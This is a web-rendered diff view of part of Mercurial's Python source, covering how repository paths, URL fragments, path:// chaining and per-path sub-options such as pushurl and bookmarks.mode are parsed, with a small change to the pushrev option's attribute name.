576 msg %= (path_count, action, source)
576 msg %= (path_count, action, source)
577 raise error.Abort(msg)
577 raise error.Abort(msg)
578 return pull_paths[0]
578 return pull_paths[0]
579
579
580
580
581 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
581 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
582 """return a unique `(url, branch)` or abort if multiple are found
582 """return a unique `(url, branch)` or abort if multiple are found
583
583
584 See `get_unique_pull_path_obj` for details.
584 See `get_unique_pull_path_obj` for details.
585 """
585 """
586 path = get_unique_pull_path_obj(action, ui, source=source)
586 path = get_unique_pull_path_obj(action, ui, source=source)
587 return parseurl(path.rawloc, default_branches)
587 return parseurl(path.rawloc, default_branches)
588
588
589
589
590 def get_clone_path_obj(ui, source):
590 def get_clone_path_obj(ui, source):
591 """return the `(origsource, url, branch)` selected as clone source"""
591 """return the `(origsource, url, branch)` selected as clone source"""
592 if source == b'':
592 if source == b'':
593 return None
593 return None
594 return get_unique_pull_path_obj(b'clone', ui, source=source)
594 return get_unique_pull_path_obj(b'clone', ui, source=source)
595
595
596
596
597 def get_clone_path(ui, source, default_branches=None):
597 def get_clone_path(ui, source, default_branches=None):
598 """return the `(origsource, url, branch)` selected as clone source"""
598 """return the `(origsource, url, branch)` selected as clone source"""
599 path = get_clone_path_obj(ui, source)
599 path = get_clone_path_obj(ui, source)
600 if path is None:
600 if path is None:
601 return (b'', b'', (None, default_branches))
601 return (b'', b'', (None, default_branches))
602 if default_branches is None:
602 if default_branches is None:
603 default_branches = []
603 default_branches = []
604 branches = (path.branch, default_branches)
604 branches = (path.branch, default_branches)
605 return path.rawloc, path.loc, branches
605 return path.rawloc, path.loc, branches
606
606
607
607
608 def parseurl(path, branches=None):
608 def parseurl(path, branches=None):
609 '''parse url#branch, returning (url, (branch, branches))'''
609 '''parse url#branch, returning (url, (branch, branches))'''
610 u = url(path)
610 u = url(path)
611 branch = None
611 branch = None
612 if u.fragment:
612 if u.fragment:
613 branch = u.fragment
613 branch = u.fragment
614 u.fragment = None
614 u.fragment = None
615 return bytes(u), (branch, branches or [])
615 return bytes(u), (branch, branches or [])
616
616
617
617
618 class paths(dict):
618 class paths(dict):
619 """Represents a collection of paths and their configs.
619 """Represents a collection of paths and their configs.
620
620
621 Data is initially derived from ui instances and the config files they have
621 Data is initially derived from ui instances and the config files they have
622 loaded.
622 loaded.
623 """
623 """
624
624
625 def __init__(self, ui):
625 def __init__(self, ui):
626 dict.__init__(self)
626 dict.__init__(self)
627
627
628 home_path = os.path.expanduser(b'~')
628 home_path = os.path.expanduser(b'~')
629
629
630 for name, value in ui.configitems(b'paths', ignoresub=True):
630 for name, value in ui.configitems(b'paths', ignoresub=True):
631 # No location is the same as not existing.
631 # No location is the same as not existing.
632 if not value:
632 if not value:
633 continue
633 continue
634 _value, sub_opts = ui.configsuboptions(b'paths', name)
634 _value, sub_opts = ui.configsuboptions(b'paths', name)
635 s = ui.configsource(b'paths', name)
635 s = ui.configsource(b'paths', name)
636 root_key = (name, value, s)
636 root_key = (name, value, s)
637 root = ui._path_to_root.get(root_key, home_path)
637 root = ui._path_to_root.get(root_key, home_path)
638
638
639 multi_url = sub_opts.get(b'multi-urls')
639 multi_url = sub_opts.get(b'multi-urls')
640 if multi_url is not None and stringutil.parsebool(multi_url):
640 if multi_url is not None and stringutil.parsebool(multi_url):
641 base_locs = stringutil.parselist(value)
641 base_locs = stringutil.parselist(value)
642 else:
642 else:
643 base_locs = [value]
643 base_locs = [value]
644
644
645 paths = []
645 paths = []
646 for loc in base_locs:
646 for loc in base_locs:
647 loc = os.path.expandvars(loc)
647 loc = os.path.expandvars(loc)
648 loc = os.path.expanduser(loc)
648 loc = os.path.expanduser(loc)
649 if not hasscheme(loc) and not os.path.isabs(loc):
649 if not hasscheme(loc) and not os.path.isabs(loc):
650 loc = os.path.normpath(os.path.join(root, loc))
650 loc = os.path.normpath(os.path.join(root, loc))
651 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
651 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
652 paths.append(p)
652 paths.append(p)
653 self[name] = paths
653 self[name] = paths
654
654
655 for name, old_paths in sorted(self.items()):
655 for name, old_paths in sorted(self.items()):
656 new_paths = []
656 new_paths = []
657 for p in old_paths:
657 for p in old_paths:
658 new_paths.extend(_chain_path(p, ui, self))
658 new_paths.extend(_chain_path(p, ui, self))
659 self[name] = new_paths
659 self[name] = new_paths
660
660
661
661
662 _pathsuboptions = {}
662 _pathsuboptions = {}
663 # a dictionnary of methods that can be used to format a sub-option value
663 # a dictionnary of methods that can be used to format a sub-option value
664 path_suboptions_display = {}
664 path_suboptions_display = {}
665
665
666
666
667 def pathsuboption(option, attr, display=pycompat.bytestr):
667 def pathsuboption(option, attr, display=pycompat.bytestr):
668 """Decorator used to declare a path sub-option.
668 """Decorator used to declare a path sub-option.
669
669
670 Arguments are the sub-option name and the attribute it should set on
670 Arguments are the sub-option name and the attribute it should set on
671 ``path`` instances.
671 ``path`` instances.
672
672
673 The decorated function will receive as arguments a ``ui`` instance,
673 The decorated function will receive as arguments a ``ui`` instance,
674 ``path`` instance, and the string value of this option from the config.
674 ``path`` instance, and the string value of this option from the config.
675 The function should return the value that will be set on the ``path``
675 The function should return the value that will be set on the ``path``
676 instance.
676 instance.
677
677
678 The optional `display` argument is a function that can be used to format
678 The optional `display` argument is a function that can be used to format
679 the value when displayed to the user (like in `hg paths` for example).
679 the value when displayed to the user (like in `hg paths` for example).
680
680
681 This decorator can be used to perform additional verification of
681 This decorator can be used to perform additional verification of
682 sub-options and to change the type of sub-options.
682 sub-options and to change the type of sub-options.
683 """
683 """
684
684
685 def register(func):
685 def register(func):
686 _pathsuboptions[option] = (attr, func)
686 _pathsuboptions[option] = (attr, func)
687 path_suboptions_display[option] = display
687 path_suboptions_display[option] = display
688 return func
688 return func
689
689
690 return register
690 return register
691
691
692
692
693 def display_bool(value):
693 def display_bool(value):
694 """display a boolean suboption back to the user"""
694 """display a boolean suboption back to the user"""
695 return b'yes' if value else b'no'
695 return b'yes' if value else b'no'
696
696
697
697
698 @pathsuboption(b'pushurl', b'_pushloc')
698 @pathsuboption(b'pushurl', b'_pushloc')
699 def pushurlpathoption(ui, path, value):
699 def pushurlpathoption(ui, path, value):
700 u = url(value)
700 u = url(value)
701 # Actually require a URL.
701 # Actually require a URL.
702 if not u.scheme:
702 if not u.scheme:
703 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
703 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
704 msg %= (path.name, value)
704 msg %= (path.name, value)
705 ui.warn(msg)
705 ui.warn(msg)
706 return None
706 return None
707
707
708 # Don't support the #foo syntax in the push URL to declare branch to
708 # Don't support the #foo syntax in the push URL to declare branch to
709 # push.
709 # push.
710 if u.fragment:
710 if u.fragment:
711 ui.warn(
711 ui.warn(
712 _(
712 _(
713 b'("#fragment" in paths.%s:pushurl not supported; '
713 b'("#fragment" in paths.%s:pushurl not supported; '
714 b'ignoring)\n'
714 b'ignoring)\n'
715 )
715 )
716 % path.name
716 % path.name
717 )
717 )
718 u.fragment = None
718 u.fragment = None
719
719
720 return bytes(u)
720 return bytes(u)
721
721
722
722
723 @pathsuboption(b'pushrev', b'pushrev')
723 @pathsuboption(b'pushrev', 'pushrev')
724 def pushrevpathoption(ui, path, value):
724 def pushrevpathoption(ui, path, value):
725 return value
725 return value
726
726
727
727
728 SUPPORTED_BOOKMARKS_MODES = {
728 SUPPORTED_BOOKMARKS_MODES = {
729 b'default',
729 b'default',
730 b'mirror',
730 b'mirror',
731 b'ignore',
731 b'ignore',
732 }
732 }
733
733
734
734
735 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
735 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
736 def bookmarks_mode_option(ui, path, value):
736 def bookmarks_mode_option(ui, path, value):
737 if value not in SUPPORTED_BOOKMARKS_MODES:
737 if value not in SUPPORTED_BOOKMARKS_MODES:
738 path_name = path.name
738 path_name = path.name
739 if path_name is None:
739 if path_name is None:
740 # this is an "anonymous" path, config comes from the global one
740 # this is an "anonymous" path, config comes from the global one
741 path_name = b'*'
741 path_name = b'*'
742 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
742 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
743 msg %= (path_name, value)
743 msg %= (path_name, value)
744 ui.warn(msg)
744 ui.warn(msg)
745 if value == b'default':
745 if value == b'default':
746 value = None
746 value = None
747 return value
747 return value
748
748
749
749
750 DELTA_REUSE_POLICIES = {
750 DELTA_REUSE_POLICIES = {
751 b'default': None,
751 b'default': None,
752 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
752 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
753 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
753 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
754 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
754 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
755 }
755 }
756 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
756 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
757
757
758
758
759 @pathsuboption(
759 @pathsuboption(
760 b'pulled-delta-reuse-policy',
760 b'pulled-delta-reuse-policy',
761 'delta_reuse_policy',
761 'delta_reuse_policy',
762 display=DELTA_REUSE_POLICIES_NAME.get,
762 display=DELTA_REUSE_POLICIES_NAME.get,
763 )
763 )
764 def delta_reuse_policy(ui, path, value):
764 def delta_reuse_policy(ui, path, value):
765 if value not in DELTA_REUSE_POLICIES:
765 if value not in DELTA_REUSE_POLICIES:
766 path_name = path.name
766 path_name = path.name
767 if path_name is None:
767 if path_name is None:
768 # this is an "anonymous" path, config comes from the global one
768 # this is an "anonymous" path, config comes from the global one
769 path_name = b'*'
769 path_name = b'*'
770 msg = _(
770 msg = _(
771 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
771 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
772 )
772 )
773 msg %= (path_name, value)
773 msg %= (path_name, value)
774 ui.warn(msg)
774 ui.warn(msg)
775 return DELTA_REUSE_POLICIES.get(value)
775 return DELTA_REUSE_POLICIES.get(value)
776
776
777
777
778 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
778 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
779 def multiurls_pathoption(ui, path, value):
779 def multiurls_pathoption(ui, path, value):
780 res = stringutil.parsebool(value)
780 res = stringutil.parsebool(value)
781 if res is None:
781 if res is None:
782 ui.warn(
782 ui.warn(
783 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
783 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
784 )
784 )
785 res = False
785 res = False
786 return res
786 return res
787
787
788
788
789 def _chain_path(base_path, ui, paths):
789 def _chain_path(base_path, ui, paths):
790 """return the result of "path://" logic applied on a given path"""
790 """return the result of "path://" logic applied on a given path"""
791 new_paths = []
791 new_paths = []
792 if base_path.url.scheme != b'path':
792 if base_path.url.scheme != b'path':
793 new_paths.append(base_path)
793 new_paths.append(base_path)
794 else:
794 else:
795 assert base_path.url.path is None
795 assert base_path.url.path is None
796 sub_paths = paths.get(base_path.url.host)
796 sub_paths = paths.get(base_path.url.host)
797 if sub_paths is None:
797 if sub_paths is None:
798 m = _(b'cannot use `%s`, "%s" is not a known path')
798 m = _(b'cannot use `%s`, "%s" is not a known path')
799 m %= (base_path.rawloc, base_path.url.host)
799 m %= (base_path.rawloc, base_path.url.host)
800 raise error.Abort(m)
800 raise error.Abort(m)
801 for subpath in sub_paths:
801 for subpath in sub_paths:
802 path = base_path.copy()
802 path = base_path.copy()
803 if subpath.raw_url.scheme == b'path':
803 if subpath.raw_url.scheme == b'path':
804 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
804 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
805 m %= (path.rawloc, path.url.host)
805 m %= (path.rawloc, path.url.host)
806 raise error.Abort(m)
806 raise error.Abort(m)
807 path.url = subpath.url
807 path.url = subpath.url
808 path.rawloc = subpath.rawloc
808 path.rawloc = subpath.rawloc
809 path.loc = subpath.loc
809 path.loc = subpath.loc
810 if path.branch is None:
810 if path.branch is None:
811 path.branch = subpath.branch
811 path.branch = subpath.branch
812 else:
812 else:
813 base = path.rawloc.rsplit(b'#', 1)[0]
813 base = path.rawloc.rsplit(b'#', 1)[0]
814 path.rawloc = b'%s#%s' % (base, path.branch)
814 path.rawloc = b'%s#%s' % (base, path.branch)
815 suboptions = subpath._all_sub_opts.copy()
815 suboptions = subpath._all_sub_opts.copy()
816 suboptions.update(path._own_sub_opts)
816 suboptions.update(path._own_sub_opts)
817 path._apply_suboptions(ui, suboptions)
817 path._apply_suboptions(ui, suboptions)
818 new_paths.append(path)
818 new_paths.append(path)
819 return new_paths
819 return new_paths
820
820
821
821
822 class path:
822 class path:
823 """Represents an individual path and its configuration."""
823 """Represents an individual path and its configuration."""
824
824
825 def __init__(
825 def __init__(
826 self,
826 self,
827 ui=None,
827 ui=None,
828 name=None,
828 name=None,
829 rawloc=None,
829 rawloc=None,
830 suboptions=None,
830 suboptions=None,
831 validate_path=True,
831 validate_path=True,
832 ):
832 ):
833 """Construct a path from its config options.
833 """Construct a path from its config options.
834
834
835 ``ui`` is the ``ui`` instance the path is coming from.
835 ``ui`` is the ``ui`` instance the path is coming from.
836 ``name`` is the symbolic name of the path.
836 ``name`` is the symbolic name of the path.
837 ``rawloc`` is the raw location, as defined in the config.
837 ``rawloc`` is the raw location, as defined in the config.
838 ``_pushloc`` is the raw locations pushes should be made to.
838 ``_pushloc`` is the raw locations pushes should be made to.
839 (see the `get_push_variant` method)
839 (see the `get_push_variant` method)
840
840
841 If ``name`` is not defined, we require that the location be a) a local
841 If ``name`` is not defined, we require that the location be a) a local
842 filesystem path with a .hg directory or b) a URL. If not,
842 filesystem path with a .hg directory or b) a URL. If not,
843 ``ValueError`` is raised.
843 ``ValueError`` is raised.
844 """
844 """
845 if ui is None:
845 if ui is None:
846 # used in copy
846 # used in copy
847 assert name is None
847 assert name is None
848 assert rawloc is None
848 assert rawloc is None
849 assert suboptions is None
849 assert suboptions is None
850 return
850 return
851
851
852 if not rawloc:
852 if not rawloc:
853 raise ValueError(b'rawloc must be defined')
853 raise ValueError(b'rawloc must be defined')
854
854
855 self.name = name
855 self.name = name
856
856
857 # set by path variant to point to their "non-push" version
857 # set by path variant to point to their "non-push" version
858 self.main_path = None
858 self.main_path = None
859 self._setup_url(rawloc)
859 self._setup_url(rawloc)
860
860
861 if validate_path:
861 if validate_path:
862 self._validate_path()
862 self._validate_path()
863
863
864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 self._own_sub_opts = {}
865 self._own_sub_opts = {}
866 if suboptions is not None:
866 if suboptions is not None:
867 self._own_sub_opts = suboptions.copy()
867 self._own_sub_opts = suboptions.copy()
868 sub_opts.update(suboptions)
868 sub_opts.update(suboptions)
869 self._all_sub_opts = sub_opts.copy()
869 self._all_sub_opts = sub_opts.copy()
870
870
871 self._apply_suboptions(ui, sub_opts)
871 self._apply_suboptions(ui, sub_opts)
872
872
873 def _setup_url(self, rawloc):
873 def _setup_url(self, rawloc):
874 # Locations may define branches via syntax <base>#<branch>.
874 # Locations may define branches via syntax <base>#<branch>.
875 u = url(rawloc)
875 u = url(rawloc)
876 branch = None
876 branch = None
877 if u.fragment:
877 if u.fragment:
878 branch = u.fragment
878 branch = u.fragment
879 u.fragment = None
879 u.fragment = None
880
880
881 self.url = u
881 self.url = u
882 # the url from the config/command line before dealing with `path://`
882 # the url from the config/command line before dealing with `path://`
883 self.raw_url = u.copy()
883 self.raw_url = u.copy()
884 self.branch = branch
884 self.branch = branch
885
885
886 self.rawloc = rawloc
886 self.rawloc = rawloc
887 self.loc = b'%s' % u
887 self.loc = b'%s' % u
888
888
889 def copy(self, new_raw_location=None):
889 def copy(self, new_raw_location=None):
890 """make a copy of this path object
890 """make a copy of this path object
891
891
892 When `new_raw_location` is set, the new path will point to it.
892 When `new_raw_location` is set, the new path will point to it.
893 This is used by the scheme extension so expand the scheme.
893 This is used by the scheme extension so expand the scheme.
894 """
894 """
895 new = self.__class__()
895 new = self.__class__()
896 for k, v in self.__dict__.items():
896 for k, v in self.__dict__.items():
897 new_copy = getattr(v, 'copy', None)
897 new_copy = getattr(v, 'copy', None)
898 if new_copy is not None:
898 if new_copy is not None:
899 v = new_copy()
899 v = new_copy()
900 new.__dict__[k] = v
900 new.__dict__[k] = v
901 if new_raw_location is not None:
901 if new_raw_location is not None:
902 new._setup_url(new_raw_location)
902 new._setup_url(new_raw_location)
903 return new
903 return new
904
904
905 @property
905 @property
906 def is_push_variant(self):
906 def is_push_variant(self):
907 """is this a path variant to be used for pushing"""
907 """is this a path variant to be used for pushing"""
908 return self.main_path is not None
908 return self.main_path is not None
909
909
910 def get_push_variant(self):
910 def get_push_variant(self):
911 """get a "copy" of the path, but suitable for pushing
911 """get a "copy" of the path, but suitable for pushing
912
912
913 This means using the value of the `pushurl` option (if any) as the url.
913 This means using the value of the `pushurl` option (if any) as the url.
914
914
915 The original path is available in the `main_path` attribute.
915 The original path is available in the `main_path` attribute.
916 """
916 """
917 if self.main_path:
917 if self.main_path:
918 return self
918 return self
919 new = self.copy()
919 new = self.copy()
920 new.main_path = self
920 new.main_path = self
921 if self._pushloc:
921 if self._pushloc:
922 new._setup_url(self._pushloc)
922 new._setup_url(self._pushloc)
923 return new
923 return new
924
924
925 def pushloc(self):
925 def pushloc(self):
926 """compatibility layer for the deprecated attributes"""
926 """compatibility layer for the deprecated attributes"""
927 from .. import util # avoid a cycle
927 from .. import util # avoid a cycle
928
928
929 msg = "don't use path.pushloc, use path.get_push_variant()"
929 msg = "don't use path.pushloc, use path.get_push_variant()"
930 util.nouideprecwarn(msg, b"6.5")
930 util.nouideprecwarn(msg, b"6.5")
931 return self._pushloc
931 return self._pushloc
932
932
933 def _validate_path(self):
933 def _validate_path(self):
934 # When given a raw location but not a symbolic name, validate the
934 # When given a raw location but not a symbolic name, validate the
935 # location is valid.
935 # location is valid.
936 if (
936 if (
937 not self.name
937 not self.name
938 and not self.url.scheme
938 and not self.url.scheme
939 and not self._isvalidlocalpath(self.loc)
939 and not self._isvalidlocalpath(self.loc)
940 ):
940 ):
941 raise ValueError(
941 raise ValueError(
942 b'location is not a URL or path to a local '
942 b'location is not a URL or path to a local '
943 b'repo: %s' % self.rawloc
943 b'repo: %s' % self.rawloc
944 )
944 )
945
945
946 def _apply_suboptions(self, ui, sub_options):
946 def _apply_suboptions(self, ui, sub_options):
947 # Now process the sub-options. If a sub-option is registered, its
947 # Now process the sub-options. If a sub-option is registered, its
948 # attribute will always be present. The value will be None if there
948 # attribute will always be present. The value will be None if there
949 # was no valid sub-option.
949 # was no valid sub-option.
950 for suboption, (attr, func) in _pathsuboptions.items():
950 for suboption, (attr, func) in _pathsuboptions.items():
951 if suboption not in sub_options:
951 if suboption not in sub_options:
952 setattr(self, attr, None)
952 setattr(self, attr, None)
953 continue
953 continue
954
954
955 value = func(ui, self, sub_options[suboption])
955 value = func(ui, self, sub_options[suboption])
956 setattr(self, attr, value)
956 setattr(self, attr, value)
957
957
958 def _isvalidlocalpath(self, path):
958 def _isvalidlocalpath(self, path):
959 """Returns True if the given path is a potentially valid repository.
959 """Returns True if the given path is a potentially valid repository.
960 This is its own function so that extensions can change the definition of
960 This is its own function so that extensions can change the definition of
961 'valid' in this case (like when pulling from a git repo into a hg
961 'valid' in this case (like when pulling from a git repo into a hg
962 one)."""
962 one)."""
963 try:
963 try:
964 return os.path.isdir(os.path.join(path, b'.hg'))
964 return os.path.isdir(os.path.join(path, b'.hg'))
965 # Python 2 may return TypeError. Python 3, ValueError.
965 # Python 2 may return TypeError. Python 3, ValueError.
966 except (TypeError, ValueError):
966 except (TypeError, ValueError):
967 return False
967 return False
968
968
969 @property
969 @property
970 def suboptions(self):
970 def suboptions(self):
971 """Return sub-options and their values for this path.
971 """Return sub-options and their values for this path.
972
972
973 This is intended to be used for presentation purposes.
973 This is intended to be used for presentation purposes.
974 """
974 """
975 d = {}
975 d = {}
976 for subopt, (attr, _func) in _pathsuboptions.items():
976 for subopt, (attr, _func) in _pathsuboptions.items():
977 value = getattr(self, attr)
977 value = getattr(self, attr)
978 if value is not None:
978 if value is not None:
979 d[subopt] = value
979 d[subopt] = value
980 return d
980 return d
General Comments 0
You need to be logged in to leave comments. Login now